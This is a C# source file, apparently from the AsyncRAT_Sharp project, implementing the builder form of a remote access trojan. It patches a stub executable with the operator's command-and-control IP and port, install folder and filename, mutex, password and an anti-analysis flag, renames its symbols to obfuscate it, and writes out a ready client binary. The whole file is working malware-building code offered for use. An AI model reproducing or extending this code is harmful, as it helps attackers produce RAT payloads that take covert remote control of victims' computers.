2019-05-07 06:25:17 -07:00

148 lines
6.2 KiB
C#

using System;
using System.Windows.Forms;
using Mono.Cecil;
using AsyncRAT_Sharp.Helper;
using Mono.Cecil.Cil;
namespace AsyncRAT_Sharp.Forms
{
public partial class FormBuilder : Form
{
public FormBuilder()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
if (string.IsNullOrWhiteSpace(textIP.Text) || string.IsNullOrWhiteSpace(textPort.Text)) return;
if (checkBox1.Checked)
{
if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) return;
if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe";
}
if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = Guid.NewGuid().ToString().Substring(10);
try
{
using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(@"Stub/Stub.exe"))
{
WriteSettings(asmDef);
Renamer r = new Renamer(asmDef);
if (!r.Perform())
throw new Exception("renaming failed");
// PHASE 3 - Saving
using (SaveFileDialog saveFileDialog1 = new SaveFileDialog())
{
saveFileDialog1.Filter = ".exe (*.exe)|*.exe";
saveFileDialog1.InitialDirectory = Application.StartupPath;
saveFileDialog1.OverwritePrompt = false;
saveFileDialog1.FileName = "Client";
if (saveFileDialog1.ShowDialog() == DialogResult.OK)
{
r.AsmDef.Write(saveFileDialog1.FileName);
MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
this.Close();
}
}
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
private void checkBox1_CheckedChanged(object sender, EventArgs e)
{
if (checkBox1.Checked)
{
checkBox1.Text = "ON";
textFilename.Enabled = true;
comboBoxFolder.Enabled = true;
}
else
{
checkBox1.Text = "OFF";
textFilename.Enabled = false;
comboBoxFolder.Enabled = false;
}
}
private void Builder_Load(object sender, EventArgs e)
{
comboBoxFolder.SelectedIndex = 0;
textPort.Text = Settings.Port;
txtMutex.Text = Guid.NewGuid().ToString().Substring(10);
if (Properties.Settings.Default.DNS.Length > 0)
textIP.Text = Properties.Settings.Default.DNS;
else
textIP.Text = "127.0.0.1,127.0.0.1";
if (Properties.Settings.Default.Filename.Length > 0)
textFilename.Text = Properties.Settings.Default.Filename;
if (Properties.Settings.Default.Mutex.Length > 0)
txtMutex.Text = Properties.Settings.Default.Mutex;
}
private void WriteSettings(AssemblyDefinition asmDef)
{
foreach (var typeDef in asmDef.Modules[0].Types)
{
if (typeDef.FullName == "Client.Settings")
{
foreach (var methodDef in typeDef.Methods)
{
if (methodDef.Name == ".cctor")
{
int strings = 1;
for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
{
if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldstr) // string
{
switch (strings)
{
case 1: //port
methodDef.Body.Instructions[i].Operand = textPort.Text;
break;
case 2: //ip
methodDef.Body.Instructions[i].Operand = textIP.Text;
break;
case 3: //version
methodDef.Body.Instructions[i].Operand = Settings.Version;
break;
case 4: //install
methodDef.Body.Instructions[i].Operand = checkBox1.Checked.ToString().ToLower();
break;
case 5: //folder
methodDef.Body.Instructions[i].Operand = comboBoxFolder.Text;
break;
case 6: //filename
methodDef.Body.Instructions[i].Operand = textFilename.Text;
break;
case 7: //password
methodDef.Body.Instructions[i].Operand = Settings.Password;
break;
case 8: //mutex
methodDef.Body.Instructions[i].Operand = txtMutex.Text;
break;
case 9: //anti
methodDef.Body.Instructions[i].Operand = chkAnti.Checked.ToString().ToLower();
break;
}
strings++;
}
}
}
}
}
}
}
}
}